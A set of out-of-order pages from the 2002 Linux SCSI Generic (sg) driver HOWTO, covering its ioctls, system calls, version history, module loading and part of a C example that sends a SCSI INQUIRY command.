            can be bypassed by opening O_NONBLOCK.
EPERM     o             Can't use O_EXCL when open()ing with O_RDONLY
EPERM     w,SG_IO       File descriptor open()-ed O_RDONLY but O_RDWR
          <some ioctls> access mode needed for this operation.

Prev | Home | Next
fcntl(sg_fd, F_SETFL, oflags | FASYNC) | Up | Ioctl()s


fcntl(sg_fd, F_SETFL, oflags | FASYNC)

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 7. System calls Next

7.7. fcntl(sg_fd, F_SETFL, oflags | FASYNC)

fcntl(int sg_fd, int cmd, long arg). There are several uses for this system call in association with a sg file descriptor. The following pseudo code shows code that is useful for scanning the sg devices, taking care not to be caught in a wait for an O_EXCL lock by another process, and when the appropriate device is found, switching to normal blocked io. A working example of this logic is in the sg_scan utility program.
open("/dev/sg0", O_RDONLY | O_NONBLOCK)
/* check device, EBUSY means some other process has O_EXCL lock on it */
/* when the device you want is found then ... */
flags = fcntl(sg_fd, F_GETFL)
fcntl(sg_fd, F_SETFL, flags & (~ O_NONBLOCK))
/* since, with simple apps, it is easier to use normal blocked io */

The sg driver supports asynchronous notification. This is a non-blocking mode of operation in which, when the driver receives data back from a device so that a read() can be done, it sends a SIGPOLL (aka SIGIO) signal to the owning process. Here is a code snippet from the sg_poll test program.
sigemptyset(&sig_set)
sigaddset(&sig_set, SIGPOLL)
sigaction(SIGPOLL, &s_action, 0)
fcntl(sg_fd, F_SETOWN, getpid())
flags = fcntl(sg_fd, F_GETFL);
fcntl(sg_fd, F_SETFL, flags | O_ASYNC)

Prev | Home | Next
mmap() | Up | Errors reported in errno


SG_GET_ACCESS_COUNT

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 8. Ioctl()s Next

8.2. SG_GET_ACCESS_COUNT

SG_GET_ACCESS_COUNT 0x2289. This ioctl() yields the access count maintained by the mid level for this SCSI device. This number is incremented by each open() call done by the upper level SCSI drivers (i.e. sd, sr, st and sg) and decremented by those drivers' release(). [A driver's release() corresponds to the last close() on a file descriptor, or is supplied by the kernel when a process is aborted.] Each SCSI device has a separate access count.

Prev | Home | Next
SG_IO | Up | SG_SET_COMMAND_Q (and _GET_)


SG_GET_LOW_DMA

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 8. Ioctl()s Next

8.8. SG_GET_LOW_DMA

SG_GET_LOW_DMA 0x227a. Assumes 3rd argument points to an int and places 0 or 1 in it. 0 indicates the whole 32 bit address space is being used for DMA transfers on this file descriptor. 1 indicates the memory below the 16MB level (on i386) is being used (and this may be the case because the host adapters setting has been overridden by SG_SET_FORCE_LOW_DMA,1 .

Prev | Home | Next
SG_SET_FORCE_LOW_DMA | Up | SG_NEXT_CMD_LEN


SG_GET_NUM_WAITING

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 8. Ioctl()s Next

8.10. SG_GET_NUM_WAITING

SG_GET_NUM_WAITING 0x227d. Assumes 3rd argument points to an int and places the number of packets waiting to be read in it. Only those requests that have been issued by a write() and are now available to be read() are counted. In other words any ioctl(SG_IO) operations underway on this file descriptor will not effect this count [1].

Notes

[1]

If ioctl(SG_SET_KEEP_ORPHAN) is set to 1 and a ioctl(SG_IO) operation is interrupted (e.g. by control-C by the user) then when the response arrives then the "num_waiting" will be incremented to indicate a read() can now pick up the response.

Prev | Home | Next
SG_NEXT_CMD_LEN | Up | SG_SET_FORCE_PACK_ID


SG_GET_PACK_ID

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 8. Ioctl()s Next

8.12. SG_GET_PACK_ID

SG_GET_PACK_ID 0x227c. Assumes 3rd argument points to an int and places the pack_id of the oldest (written) packet in it. If no packet is waiting to be read then yields -1.

Prev | Home | Next
SG_SET_FORCE_PACK_ID | Up | SG_GET_REQUEST_TABLE


SG_GET_REQUEST_TABLE

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 8. Ioctl()s Next

8.13. SG_GET_REQUEST_TABLE

SG_GET_REQUEST_TABLE 0x2286. This ioctl outputs an array of information about the status of requests associated with the current file descriptor. Its 3rd argument should point to memory large enough to receive SG_MAX_QUEUE objects of the sg_req_info_t structure. This structure has the following members:
        req_state
            0 -> request not in use
            1 -> request has been sent, but is not finished (i.e. it is
                 between stages 1 and 2 in the "theory of operation")
            2 -> request is ready to be read() (i.e. it is between stages
                 2 and 3 in the "theory of operation")
        orphan
            0 -> normal request
            1 -> request sent by SG_IO ioctl() which has been interrupted
                 by a signal
        sg_io_owned
            0 -> request sent by a write()
            1 -> request sent by a SG_IO ioctl()
        problem
            0 -> no problem (or 1 == req_state)
            1 -> req_state is 2 and either masked_status, host_status or
                 driver_status is non-zero
        duration
            [if 1 == req_state] time since request was sent (in millisecs)
            [if 2 == req_state] duration of request (in millisecs). Clock
                 is stopped when stage 2 in "theory of operation" is
                 reached
        pack_id
        usr_ptr
            these are user provided values in the sg_io_hdr_t (or
            struct sg_header) that sent the request

Prev | Home | Next
SG_GET_PACK_ID | Up | SG_SET_RESERVED_SIZE (and _GET_ )


SG_GET_SCSI_ID

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 8. Ioctl()s Next

8.16. SG_GET_SCSI_ID

SG_GET_SCSI_ID 0x2276. Assumes 3rd argument is pointing to an object of type Sg_scsi_id (see sg.h) and populates it. That structure contains ints for host_no, channel, scsi_id, lun, scsi_type, allowable commands per lun and queue_depth. Most of this information is available from other sources (e.g. SCSI_IOCTL_GET_IDLUN and SCSI_IOCTL_GET_BUS_NUMBER) but tends to be awkward to collect. Allowable commands per lun and queue_depth give an insight to the command queuing capabilities of the adapters and the device. The latter overrides the former (logically) and the former is only of interest if it is equal to queue_depth which probably indicates the device does not support queuing commands (e.g. most scanners).
typedef struct sg_scsi_id { /* used by SG_GET_SCSI_ID ioctl() */
    int host_no;        /* as in "scsi<n>" where 'n' is one of 0, 1, 2 etc */
    int channel;
    int scsi_id;        /* scsi id of target device */
    int lun;
    int scsi_type;      /* TYPE_... defined in scsi/scsi.h */
    short h_cmd_per_lun;/* host (adapter) maximum commands per lun */
    short d_queue_depth;/* device (or adapter) maximum queue length */
    int unused[2];      /* probably find a good use, set 0 for now */
} sg_scsi_id_t;

Prev | Home | Next
SG_SCSI_RESET | Up | SG_GET_SG_TABLESIZE


SG_GET_SG_TABLESIZE

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 8. Ioctl()s Next

8.17. SG_GET_SG_TABLESIZE

SG_GET_SG_TABLESIZE 0x227F. Assumes 3rd argument points to an int and places the maximum number of scatter gather elements supported by the host adapter associated with the current SCSI device. 0 indicates that the adapter does support scatter gather.

Prev | Home | Next
SG_GET_SCSI_ID | Up | SG_GET_TIMEOUT


SG_GET_TIMEOUT

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 8. Ioctl()s Next

8.18. SG_GET_TIMEOUT

SG_GET_TIMEOUT 0x2202. Ignores its 3rd argument and _returns_ the timeout value (which will be >= 0 ). The unit of this timeout is "jiffies" which are currently 10 millisecond intervals on i386 (less on an alpha). Linux supplies a manifest constant HZ which is the number of "jiffies" in 1 second. This ioctl() is not relevant to the sg version 3 driver because timeouts are specified explicitly for each command in the sg_io_hdr structure.

Prev | Home | Next
SG_GET_SG_TABLESIZE | Up | SG_SET_TIMEOUT


SG_GET_TRANSFORM

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 8. Ioctl()s Next

8.21. SG_GET_TRANSFORM

SG_GET_TRANSFORM 0x2205. Third argument is ignored. Only is meaningful when SG_EMULATED host has yielded 1 (i.e. the low-level is the ide-scsi device driver); otherwise an EINVAL error occurs. Returns 0 to indicate _not_ transforming SCSI to ATAPI commands (default). Returns 1 when it is transforming them.

Prev | Home | Next
SG_SET_TRANSFORM | Up | Sg ioctls removed in version 3


SG_SET_COMMAND_Q (and _GET_)

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 8. Ioctl()s Next

8.3. SG_SET_COMMAND_Q (and _GET_)

SG_SET_COMMAND_Q 0x2271 [_GET_ 0x2270] . The default it the original sg driver was not to allow commands to be queued on the same file descriptor (actually it was more restrictive, commands could not be queued on a SCSI device). The version 2 sg driver kept this action as its default (for backward compatibility) and offered these ioctl()s to change and monitor the command queuing state.

Prev | Home | Next
SG_GET_ACCESS_COUNT | Up | SG_SET_DEBUG


SG_SET_KEEP_ORPHAN (and _GET_)

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 8. Ioctl()s Next

8.6. SG_SET_KEEP_ORPHAN (and _GET_)

SG_SET_KEEP_ORPHAN 0x2287 [_GET_ 0x2288]. These ioctl()s allow the setting and reading of the "keep_orphan" flag. This controls what happens to the request associated with a SG_IO ioctl() that is interrupted (i.e. errno is EINTR). The default action is to drop the response as soon as it is received. This corresponds to the "keep_orphan" flag being 0. When the "keep_orphan" flag is 1 then the response is transformed in such a way that it can be fetched by a read(). This is the only circumstance in which a request sent by a SG_IO ioctl() can have the associated response fetched by a read().

Prev | Home | Next
SG_EMULATED_HOST | Up | SG_SET_FORCE_LOW_DMA


SG_SET_RESERVED_SIZE (and _GET_ )

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 8. Ioctl()s Next

8.14. SG_SET_RESERVED_SIZE (and _GET_ )

SG_SET_RESERVED_SIZE 0x2275 [_GET_ 0x2272]. Both ioctl()s assume the 3rd argument is pointing to an int.

For ioctl(SG_SET_RESERVED_SIZE) the value will be used to request a new reserved buffer of that size. The previous reserved buffer is freed (if it is not in use; if it was in use then the ioctl() fails and EBUSY is placed in errno). A new reserved buffer is then allocated and its actual size can be found by calling the ioctl(SG_GET_RESERVED_SIZE). The reserved buffer is then used for DMA purposes by subsequent write() and ioctl(SG_IO) commands if it is not already in use and if the write() is not calling for a buffer size larger than that reserved. The reserved buffer may well be a series of kernel buffers if the adapter supports scatter-gather. Large buffers can be requested (e.g. 4 MB) but not necessarily granted. Once a mmap() call has been made on a sg file descriptor, subsequent calls to this ioctl() will fail with EBUSY placed in errno.

In the case of ioctl(SG_GET_RESERVED_SIZE) the size in bytes of the reserved buffer from open() or the most recent SG_SET_RESERVED_SIZE ioctl() call on this fd. The result can be 0 if memory is very tight. In this case it may not be wise to attempt something like burning a CD on this file descriptor.

Prev | Home | Next
SG_GET_REQUEST_TABLE | Up | SG_SCSI_RESET


Identifying the version of the SG driver

The Linux SCSI Generic (sg) HOWTO
Prev Next

Chapter 3. Identifying the version of the SG driver

Earlier versions of the sg device driver either have no version number (e.g. the original driver) or a version number starting with "2". The drivers that support this new interface have a major version number of "3". The sg version numbers are of the form "x.y.z" and the single number given by the SG_GET_VERSION_NUM ioctl() is calculated by (x * 10000 + y * 100 + z). The sg driver discussed here will yield a number greater than or equal to 30000 from SG_GET_VERSION_NUM. The version number can also be seen using cat /proc/scsi/sg/version in the new driver. This document describes sg version 3.1.24 for the lk 2.4 series. Where some facility has been added during the lk 2.4 series (e.g. mmap-ed IO) and hence is not available in all versions of the lk 2.4 series, this is noted. [1]

Here is a list of sg versions that have appeared to date during the lk 2.4 series.

  • lk 2.4.0 : sg version 3.1.17

  • lk 2.4.7 : sg version 3.1.19 [see include/scsi/sg.h in that or a later version for the changelog]

  • lk 2.4.10 : sg version 3.1.20 [This version had several changes put into it by third parties over the next 6 release kernel versions.]

  • lk 2.4.17 : sg version 3.1.22

  • lk 2.4.19 : sg version 3.1.24 [lk 2.4.19 hasn't been released at the time of writing. It will most likely contains sg version 3.1.24 .]

Notes

[1]

There is an sg version 3.0.19 which is an optional driver for the lk 2.2 series. It has the following limitations:

  • maximum size of SCSI commands is 12 bytes

  • sense buffer limited to 16 bytes

  • resid (residual data transfer count) is always 0

  • direct and mmap-ed IO not supported (defaults to indirect IO)

Prev | Home | Next
What the sg driver does |  | Interface


The Linux SCSI Generic (sg) HOWTO

Douglas Gilbert

dgilbert@interlog.com

Copyright © 2001, 2002 by Douglas Gilbert

2002-05-03

Revision History
Revision 1.2 | 2002-05-03 | Revised by: dpg
ENOMEM, EPERM; DRIVER_SENSE->CHECK_CONDITION
Revision 1.1 | 2002-01-26 | Revised by: dpg
corrections, host_status, odd dxfer_len
Revision 1.0 | 2001-12-21 | Revised by: dpg
original, displace SCSI-PROGRAMMING-HOWTO

This HOWTO describes the SCSI Generic driver (sg) found in the Linux 2.4 production series of kernels. It focuses on the the interface and characteristics of the driver that application writers may need to know. The driver's theory of operations is covered and some brief examples are included.

Table of Contents
1. Introduction
2. What the sg driver does
3. Identifying the version of the SG driver
4. Interface
5. Theory of operation
6. The sg_io_hdr_t structure in detail
6.1. interface_id
6.2. dxfer_direction
6.3. cmd_len
6.4. mx_sb_len
6.5. iovec_count
6.6. dxfer_len
6.7. dxferp
6.8. cmdp
6.9. sbp
6.10. timeout
6.11. flags
6.12. pack_id
6.13. usr_ptr
6.14. status
6.15. masked_status
6.16. msg_status
6.17. sb_len_wr
6.18. host_status
6.19. driver_status
6.20. resid
6.21. duration
6.22. info
7. System calls
7.1. open()
7.2. write()
7.3. read()
7.4. poll()
7.5. close()
7.6. mmap()
7.7. fcntl(sg_fd, F_SETFL, oflags | FASYNC)
7.8. Errors reported in errno
8. Ioctl()s
8.1. SG_IO
8.2. SG_GET_ACCESS_COUNT
8.3. SG_SET_COMMAND_Q (and _GET_)
8.4. SG_SET_DEBUG
8.5. SG_EMULATED_HOST
8.6. SG_SET_KEEP_ORPHAN (and _GET_)
8.7. SG_SET_FORCE_LOW_DMA
8.8. SG_GET_LOW_DMA
8.9. SG_NEXT_CMD_LEN
8.10. SG_GET_NUM_WAITING
8.11. SG_SET_FORCE_PACK_ID
8.12. SG_GET_PACK_ID
8.13. SG_GET_REQUEST_TABLE
8.14. SG_SET_RESERVED_SIZE (and _GET_ )
8.15. SG_SCSI_RESET
8.16. SG_GET_SCSI_ID
8.17. SG_GET_SG_TABLESIZE
8.18. SG_GET_TIMEOUT
8.19. SG_SET_TIMEOUT
8.20. SG_SET_TRANSFORM
8.21. SG_GET_TRANSFORM
8.22. Sg ioctls removed in version 3
8.23. SCSI_IOCTL_GET_IDLUN
8.24. SCSI_IOCTL_GET_PCI
8.25. SCSI_IOCTL_PROBE_HOST
8.26. SCSI_IOCTL_SEND_COMMAND
9. Direct and Mmap-ed IO
9.1. Direct IO
9.2. Mmap-ed IO
10. Driver and module initialization
11. Sg and the "proc" file system
11.1. /proc/scsi/sg/debug
12. Asynchronous usage of sg
A. Sg3_utils package
B. sg_header, the original sg control structure
C. Programming example
D. Debugging
E. Other references
Next
Introduction


Driver and module initialization

The Linux SCSI Generic (sg) HOWTO
Prev Next

Chapter 10. Driver and module initialization

The size of the default reserved buffer can be specified when the sg driver is loaded. If it is built into the kernel then use:
    sg_def_reserved_size=<n>
on the boot line (only supported in 2.4 kernels).

If sg is a module, it can be loaded with modprobe in either manner:
    modprobe sg
    modprobe sg def_reserved_size=<n>
In the second case "<n>" is an integer (non negative). The default value is the value of the SG_DEF_RESERVED_SIZE defined in sg.h . This is currently 32768.

If sg is a module, it can be unloaded with rmmod like this:
    rmmod sg
However if there is a file descriptor still open with the sg driver (or there is an outstanding request awaiting a response) then the sg module is considered to be busy and can't be unloaded.

Prev | Home | Next
Mmap-ed IO |  | Sg and the "proc" file system


Interface

The Linux SCSI Generic (sg) HOWTO
Prev Next

Chapter 4. Interface

This driver supports the following system calls, most of which are typical for a character device driver in Linux. They are:

  • open()

  • close()

  • write()

  • read()

  • ioctl()

  • poll()

  • fcntl(sg_fd, F_SETFL, oflags | FASYNC)

  • mmap()

The interface to these calls as seem from Linux applications is well documented in the "man" pages (in section 2).

A user application accesses the sg driver by using the open() system call on sg device file name. Each sg device file name corresponds to one (potentially) attached SCSI device. These are usually found in the /dev directory. Here are some sg device file names:
$ ls -l /dev/sg[01]
crw-rw----    1 root     disk      21,   0 Aug 30 16:30 /dev/sg0
crw-rw----    1 root     disk      21,   1 Aug 30 16:30 /dev/sg1
The leading "c" at the front of the permissions indicates a character device. The absence of read or write permissions for "others" is prudent security. The major number of all sg device names is 21 while the minor number is the same as the number following "sg" in the device file name. When the device file system (devfs) is active on a system then the primarily sg device file names are found at the bottom of an informative subtree:
$ cd /dev/scsi/host1/bus0/target0/lun0
$ ls -l generic
crw-r-----    1 root     root      21,   1 Dec 31  1969 generic
Under devfs (when its daemon [devfsd] is running) there would usually be a symbolic link from /dev/sg1 to /dev/scsi/host1/bus0/target0/lun0/generic. This is so existing applications looking for the abridged device file name will not be surprised. One advantage of devfs is that only attached SCSI devices appear in the /dev/scsi subtree.

A significant addition in sg v3 is an ioctl() called SG_IO which is functionally equivalent to a write() followed by a blocking read(). In certain contexts the write()/read() combination have advantages over SG_IO (e.g. command queuing) and continue to be supported.

The existing (and original) sg interface based on the sg_header structure is still available using a write()/read() sequence as before. The SG_IO ioctl will only accept the new interface based on the sg_io_hdr_t structure.

The sg v3 driver thus has a write() call that can accept either the older sg_header structure or the new sg_io_hdr_t structure. The write() calls decides which interface is being used based on the second integer position of the passed header (i.e. sg_header::reply_len or sg_io_hdr_t::dxfer_direction). If it is a positive number then the old interface is assumed. If it is a negative number then the new interface is assumed. The direction constants placed in 'dxfer_direction' in the new interface have been chosen to have negative values.

If a request is sent to a write() with the sg_io_hdr_t interface then the corresponding read() that fetches the response must also use the sg_io_hdr_t interface. The same rule applies to the sg_header interface.

This document concentrates on the sg_io_hdr_t interface introduced in the sg version 3 driver. For the definition of the older sg_header interface see the sg version 2 documentation. A brief description is given in Appendix B.

Prev | Home | Next
Identifying the version of the SG driver |  | Theory of operation


Introduction

The Linux SCSI Generic (sg) HOWTO
Prev Next

Chapter 1. Introduction

This document outlines the Linux SCSI Generic (sg) driver interface as found in the 2.4 series kernels. The driver's purpose is to allow SCSI commands to be sent directly to SCSI devices. The responses of those commands can then be obtained. This type of driver is sometimes termed as a "pass through". In the case of SCSI disks, the block subsystem which is normally used to mount and access a disk, is bypassed permitting low level operations such as formatting to be performed. Various specialized applications for writing CD-Rs and document scanning use the sg driver.

Many devices that use other physical buses (e.g. ATAPI cdroms, USB mass storage devices and IEEE 1394 sbp2 devices) utilize the SCSI command set. By using Linux pseudo SCSI device drivers which bridge between the native protocol stack and the SCSI subsystem, the upper level SCSI device drivers, including sg, can be used to control "non-SCSI" devices.

This is the third major version of the sg driver. A summary of the sg driver history is as follows:

  • sg version 1 (original) from 1992 to early 1999 (lk 2.2.5) . A copy of the original HOWTO (in plain text) is at www.torque.net/sg/p/original/SCSI-Programming-HOWTO.txt

  • sg version 2 from lk 2.2.6 in the 2.2 series. Its documentation is available in abridged form [www.torque.net/sg/p/scsi-generic.txt] and a longer form [www.torque.net/sg/p/scsi-generic_long.txt].

  • sg version 3 in the linux kernel 2.4 series.

This document can be found at the Linux Documentation Project's site at www.linuxdoc.org/HOWTO/SCSI-Generic-HOWTO/ . It is available in plain text and pdf renderings at that site. A (possibly later) version of this document can be found at www.torque.net/sg/p/sg_v3_ho.html. That is a single html page; drop the ".html" extension for multi-page html. There are also postscript, pdf and rtf renderings from the original SGML (docbook) file at the same location.

A more general description of the Linux SCSI subsystem of which sg is a part can be found in the SCSI-2.4-HOWTO.

This document was last modified on 3rd May 2002.

Prev | Home | Next
The Linux SCSI Generic (sg) HOWTO |  | What the sg driver does


Ioctl()s

The Linux SCSI Generic (sg) HOWTO
Prev Next

Chapter 8. Ioctl()s

Table of Contents
8.1. SG_IO
8.2. SG_GET_ACCESS_COUNT
8.3. SG_SET_COMMAND_Q (and _GET_)
8.4. SG_SET_DEBUG
8.5. SG_EMULATED_HOST
8.6. SG_SET_KEEP_ORPHAN (and _GET_)
8.7. SG_SET_FORCE_LOW_DMA
8.8. SG_GET_LOW_DMA
8.9. SG_NEXT_CMD_LEN
8.10. SG_GET_NUM_WAITING
8.11. SG_SET_FORCE_PACK_ID
8.12. SG_GET_PACK_ID
8.13. SG_GET_REQUEST_TABLE
8.14. SG_SET_RESERVED_SIZE (and _GET_ )
8.15. SG_SCSI_RESET
8.16. SG_GET_SCSI_ID
8.17. SG_GET_SG_TABLESIZE
8.18. SG_GET_TIMEOUT
8.19. SG_SET_TIMEOUT
8.20. SG_SET_TRANSFORM
8.21. SG_GET_TRANSFORM
8.22. Sg ioctls removed in version 3
8.23. SCSI_IOCTL_GET_IDLUN
8.24. SCSI_IOCTL_GET_PCI
8.25. SCSI_IOCTL_PROBE_HOST
8.26. SCSI_IOCTL_SEND_COMMAND

The Linux SCSI upper level drivers, including sg, have a "trickle down" ioctl() architecture. This means that ioctl()s whose request value (i.e. the second argument) is not understood by the upper level driver, are passed down to the SCSI mid-level. Those ioctl()s that are not understood by the mid level driver are passed down to the lower level (adapter) driver. If none of the 3 levels understands the ioctl() request value then -1 is returned and EINVAL is placed in errno. By convention the beginning of the request value's symbolic name indicates which level will respond to the ioctl(). For example, request values starting with "SG_" are processed by the sg driver while those starting with "SCSI_" are processed by the mid level.

Most of the sg ioctl()s read or write information via a pointer given as the third argument to the ioctl() call and return 0 on success. A few of the older ioctl()s that get a value from the driver return that value as the result of the ioctl() call (e.g. ioctl(SG_GET_TIMEOUT) ).

All sg driver ioctl()s are listed below. They all start with "SG_". They are followed by several interesting SCSI mid level ioctl()s which start with "SCSI_IOCTL_". The sg ioctl()s are roughly in alphabetical order (with _SET_, _GET_ and _FORCE_ ignored). Since ioctl(SG_IO) is a complete SCSI command request/response sequence then it is listed first.

Prev | Home | Next
Errors reported in errno |  | SG_IO


Sg ioctls removed in version 3

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 8. Ioctl()s Next

8.22. Sg ioctls removed in version 3

Some seldom used ioctl()s introduced in the sg 2.x series drivers have been withdrawn. They are:

  • SG_SET_UNDERRUN_FLAG (and _GET_) [use 'resid' in this new interface]

  • SG_SET_MERGE_FD (and _GET) [added complexity with little benefit]

Prev | Home | Next
SG_GET_TRANSFORM | Up | SCSI_IOCTL_GET_IDLUN


The Linux SCSI Generic (sg) HOWTO

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts.

For an online copy of the license see www.fsf.org/copyleft/fdl.html.

Home


mmap()

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 7. System calls Next

7.6. mmap()

mmap(void * start, size_t length, int prot, int flags, int sg_fd, off_t offset). This system call returns a pointer to the beginning of the reserved buffer associated with the sg file descriptor 'sg_fd'. The 'start' argument is a hint to the kernel and is ignored by this driver; best set it to 0. The 'length' argument should be less than or equal to the size of the reserved buffer associated with 'sg_fd'. If it exceeds the reserved buffer size (after 'length' has been rounded up to a page size multiple) then MAP_FAILED is returned and ENOMEM is placed in errno. The 'prot' argument should either be PROT_READ or (PROT_READ | PROT_WRITE). The 'flags' argument should contain MAP_SHARED. In a sense, the user application is "sharing" data with the sg driver. The MAP_PRIVATE flag does not play well with compiler optimization flags such as '-O2'. The 'offset' argument must be set to 0 (or NULL).

The mmap() system call can be made multiple times on the same sg_fd. The munmap() system call is not required if close() is called on sg_fd. Mmap-ed IO is well-behaved when a process is fork()-ed (or the equivalent finer grained clone() system call is made). In the case of a fork(), 2 processes will be sharing the same memory mapped area together with the sg driver for a sg_fd and the last one to close the sg_fd (or exit) will cause the shared memory to be freed.

It is assumed that if the default reserved buffer size of 32 KB is not sufficient then a ioctl(SG_SET_RESERVED_SIZE) call is made prior to any calls to mmap(). If the required size is not a multiple of the kernel's page size (returned by getpagesize() system call) then the size passed to ioctl(SG_SET_RESERVED_SIZE) should be rounded up to the next page size multiple.

Mmap-ed IO is requested by setting (or or-ing in) the SG_FLAG_MMAP_IO constant into the flag member of the the sg_io_hdr structure prior to a call to write() or ioctl(SG_IO). The logic to do mmap-ed IO _assumes_ that an appropriate mmap() call has been made by the application. In other words it does not check. [1]

Notes

[1]

The sg driver does record that the mmap() system call has been invoked at least once on a file descriptor. This is not sufficient because the given 'length' may be too short for the current IO. Also the driver is unaware of munmap() calls so it could easily be tricked.

Prev | Home | Next
close() | Up | fcntl(sg_fd, F_SETFL, oflags | FASYNC)


Mmap-ed IO

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 9. Direct and Mmap-ed IO Next

9.2. Mmap-ed IO

Memory-mapped IO takes a different approach from direct IO to removing the extra data copy performed by normal ("indirect") IO. With mmap-ed IO the application calls the mmap() system call to memory map sg's reserved buffer. The sg driver maintains one reserved buffer per file descriptor. The default size of the reserved buffer is 32 KB and it can be changed with the ioctl(SG_SET_RESERVED_SIZE). The mmap() system call only needs to be called once prior [1] to doing mmap-ed IO. For more details on the mmap() see Section 7.6. An application indicates that it wants mmap-ed on a SCSI request by setting the SG_FLAG_MMAP_IO value in 'flags'.

Since there is only reserved buffer per sg file descriptor then only one mmap-ed IO command can be active at one time. In order to perform command queuing with mmap-ed IO, an application will need to open() multiple file descriptors to the same SCSI device. With mmap-ed IO the various status values and the sense buffer (if required) are conveyed back to an application in the same fashion as normal ("indirect") IO.

Mmap-ed has very low per command latency since the reserved buffer mapping only needs to be done once per file descriptor. Also the reserved buffer is set up by the sg driver to aid the efficient construction of the internal scatter gather list used by the lower level (adapter) driver for DMA purposes. This tends to be more efficient than the user memory that direct IO requires the sg driver to process into an internal scatter gather list. So on both these counts, mmap-ed IO has the edge over direct IO.

Notes

[1]

When a write() or ioctl(SG_IO) attempts mmap-ed IO there is no check performed that a prior mmap() system call has been performed. If no mmap() has been issued then random data is written to the device or data read from the device in inaccessible. Also once mmap() has been called on a file descriptor then all subsequent calls to ioctl(SG_SET_RESERVED_SIZE) will yield EBUSY.

Prev | Home | Next
Direct IO | Up | Driver and module initialization


SG_NEXT_CMD_LEN

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 8. Ioctl()s Next

8.9. SG_NEXT_CMD_LEN

SG_NEXT_CMD_LEN 0x2283. This ioctl() is not required with sg_io_hdr structure since command length is set explicitly for every command. Assumes 3rd argument is pointing to an int. The value of the int (if > 0) will be used as the SCSI command length of the next SCSI command sent to a write() using the sg_header interface. After that write() the SCSI command length logic is reset to use automatic length detection (i.e. depending on SCSI command group and the 'twelve_byte' field). If the current SCSI command length maximum of 16 is exceeded then the affected write() will yield an EDOM error. Giving this ioctl() a value of 0 will set automatic length detection for the next write(). N.B. Only the following write() on this fd is affected by this ioctl().

Prev | Home | Next
SG_GET_LOW_DMA | Up | SG_GET_NUM_WAITING


open()

The Linux SCSI Generic (sg) HOWTO
Prev Chapter 7. System calls Next

7.1. open()

open(const char * filename, int flags). The filename should be a sg device file name as discussed in the Chapter 4. Flags can be a number of the following or-ed together:

  • O_RDONLY restricts operations to read()s and ioctl()s (i.e. can't use write() ).

  • O_RDWR permits all system calls to be executed.

  • O_EXCL waits for other opens on the associated SCSI device to be closed before proceeding. If O_NONBLOCK is set then yields EBUSY when someone else has the SCSI device open. The combination of O_RDONLY and O_EXCL is disallowed.

  • O_NONBLOCK Sets non-blocking mode. Calls that would otherwise block yield EAGAIN (e.g. read() ) or EBUSY (e.g. open() ). This flag is ignored by ioctl(SG_IO) .

Either O_RDONLY or O_RDWR must be set in flag. Either of the other 2 flags (but not both) can be or-ed in.

Note that multiple file descriptors may be open to the same SCSI device. [This is a way of side stepping the SG_MAX_QUEUE limit.] At the sg level separate state information is maintained. This means that even if multiple file descriptors are open to a single SCSI device their write() read() sequences are essentially independent.

Open() calls may be blocked due to exclusive locks (i.e. O_EXCL). An exclusive lock applies to a single SCSI device and only to sg's use of that device (i.e. it has no effect on access via sd, sr or st to that device). If the O_NONBLOCK flag is used then open() calls that would have otherwise blocked, yield EBUSY. Applications that scan sg devices trying to determine their identity (e.g. whether one is a scanner) should use the O_NONBLOCK flag otherwise they run the risk of blocking.

The driver will attempt to reserve SG_DEF_RESERVED_SIZE bytes (32KBytes in the current sg.h) on open(). The size of this reserved buffer can subsequently be modified with the SG_SET_RESERVED_SIZE ioctl(). In both cases these are requests subject to various dynamic constraints. The actual amount of memory obtained can be found by the SG_GET_RESERVED_SIZE ioctl(). The reserved buffer will be used if:

  • it is not already in use (e.g. when command queuing is in use)

  • a write() or ioctl(SG_IO) requests a data transfer size that is less than or equal to the reserved buffer size.

Returns a file descriptor if >= 0 , otherwise -1 implies an error.

Prev | Home | Next
System calls | Up | write()


Programming example

The Linux SCSI Generic (sg) HOWTO
Prev Next

Appendix C. Programming example

This appendix contains an example program. It is an abridged version of sg_simple2.c found in the sg3_utils package. It send a SCSI INQUIRY command to the nominated sg device and prints out some of the response or outputs error information. Hopefully showing the error processing does not cloud what is being illustrated.

#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <scsi/sg.h> /* take care: fetches glibc's /usr/include/scsi/sg.h */

/* This is a simple program executing a SCSI INQUIRY command using the
   sg_io_hdr interface of the SCSI generic (sg) driver.

*  Copyright (C) 2001 D. Gilbert
*  This program is free software.   Version 1.01 (20020226)
*/

#define INQ_REPLY_LEN 96
#define INQ_CMD_CODE 0x12
#define INQ_CMD_LEN 6

int main(int argc, char * argv[])
{
    int sg_fd, k;
    unsigned char inqCmdBlk[INQ_CMD_LEN] =
                    {INQ_CMD_CODE, 0, 0, 0, INQ_REPLY_LEN, 0};
/* This is a "standard" SCSI INQUIRY command. It is standard because the
 * CMDDT and EVPD bits (in the second byte) are zero. All SCSI targets
 * should respond promptly to a standard INQUIRY */
    unsigned char inqBuff[INQ_REPLY_LEN];
    unsigned char sense_buffer[32];
    sg_io_hdr_t io_hdr;

    if (2 != argc) {
        printf("Usage: 'sg_simple0 <sg_device>'\n");
        return 1;
    }
    if ((sg_fd = open(argv[1], O_RDONLY)) < 0) {
        /* Note that most SCSI commands require the O_RDWR flag to be set */
        perror("error opening given file name");
        return 1;
    }
    /* It is prudent to check we have a sg device by trying an ioctl */
